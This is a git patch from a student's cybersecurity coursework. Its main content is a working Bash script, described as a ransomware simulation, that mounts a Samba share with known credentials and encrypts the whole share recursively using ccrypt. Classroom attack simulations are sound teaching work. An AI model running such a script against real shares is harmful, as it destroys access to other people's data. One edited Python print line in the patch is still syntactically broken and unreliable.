From d0a6791cadf9ec57cb4f591a5b2aa569967afdf8 Mon Sep 17 00:00:00 2001 From: Guillaume Emorine Date: Mon, 4 Nov 2024 11:58:21 +0100 Subject: [PATCH] =?UTF-8?q?Ajout=20des=20fichiers=20de=20la=20s=C3=A9ance?= =?UTF-8?q?=20de=20Cyber=20sur=20une=20simulation=20de=20ransomware,=20sur?= =?UTF-8?q?=20partage=20Samba,=20et=20modification=20de=20scripts=20Python?= =?UTF-8?q?.?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- automate.sh | 2 +- .../cyber2/ransomware-simulation/README.md | 2 ++ .../cyber2/ransomware-simulation/smbcc.sh | 34 +++++++++++++++++++ bts_annee_2/sisr2/python/createusers.py | 2 +- bts_annee_2/sisr2/python/occurences.py | 2 +- 5 files changed, 39 insertions(+), 3 deletions(-) create mode 100644 bts_annee_2/cyber2/ransomware-simulation/README.md create mode 100644 bts_annee_2/cyber2/ransomware-simulation/smbcc.sh diff --git a/automate.sh b/automate.sh index 2daaa7e..d117922 100644 --- a/automate.sh +++ b/automate.sh @@ -24,7 +24,7 @@ else echo "Commit en cours..." sleep 1 git commit - git tag -l "v.0*" --sort="-v:refname" + git tag -l "v.*" --sort="-v:refname" echo "Entrez la version du tag: (Le plus récent est en haut)" read tag git tag $tag diff --git a/bts_annee_2/cyber2/ransomware-simulation/README.md b/bts_annee_2/cyber2/ransomware-simulation/README.md new file mode 100644 index 0000000..6d02567 --- /dev/null +++ b/bts_annee_2/cyber2/ransomware-simulation/README.md @@ -0,0 +1,2 @@ +Dossier avec le script utilisé pour simuler une attaque de ransomware sur un partage Samba accessible en écriture, avec un mot de passe et nom d'utilisateur connus. +Les arguments passés après le nom du script sont utilisés plus tard et sont nécessaires. \ No newline at end of file diff --git a/bts_annee_2/cyber2/ransomware-simulation/smbcc.sh b/bts_annee_2/cyber2/ransomware-simulation/smbcc.sh new file mode 100644 index 0000000..b0e6f24 --- /dev/null +++ b/bts_annee_2/cyber2/ransomware-simulation/smbcc.sh @@ -0,0 +1,34 @@ +#!/bin/bash +# déclaration des variables +chemin=$1 +cred=$2 +action=$3 +ficcle=$4 + +# récup du mot de passe et nom d'utilisateur +user=$(echo $cred| cut -d "/" -f1) +pass=$(echo $cred| cut -d "/" -f2) + +# créa du répertoire et on monte dessus +[[ -e /mnt/samba ]] || mkdir /mnt/samba +mount.cifs -o "username=$user,password=$pass" "//${chemin}" /mnt/samba + +# vérification d'erreurs +if [[ $? != 0 ]] ; then + rmdir /mnt/samba + exit 1 +fi + +# la commande ccrypt +ccrypt "$action" -r -k $ficcle /mnt/samba + +# vérification d'erreurs +if [[ $? != 0 ]] ; then + echo "ccrypt échoué, revérifie le script." + exit 1 +fi + +# nettoyage et sortie, code 0 +umount /mnt/samba +rmdir /mnt/samba +exit 0 diff --git a/bts_annee_2/sisr2/python/createusers.py b/bts_annee_2/sisr2/python/createusers.py index 53c9343..9a7e106 100644 --- a/bts_annee_2/sisr2/python/createusers.py +++ b/bts_annee_2/sisr2/python/createusers.py @@ -21,6 +21,6 @@ def main(filename): print(f"Erreur lors de la lecture du fichier {filename}: {e}") if __name__ == "__main__": if len(sys.argv) != 2: - print("Usage: python creatusr.py ") + print("Usage: python3 createusers.py ") else: main(sys.argv[1]) diff --git a/bts_annee_2/sisr2/python/occurences.py b/bts_annee_2/sisr2/python/occurences.py index 0d2ca46..a25aa78 100644 --- a/bts_annee_2/sisr2/python/occurences.py +++ b/bts_annee_2/sisr2/python/occurences.py @@ -14,5 +14,5 @@ for mot in mots: # Afficher les mots et leurs occurrences print("Occurrences des mots :") for mot, count in occurrences.items(): - print(f"{mot} : {count}" + print(f"{mot} : {count})"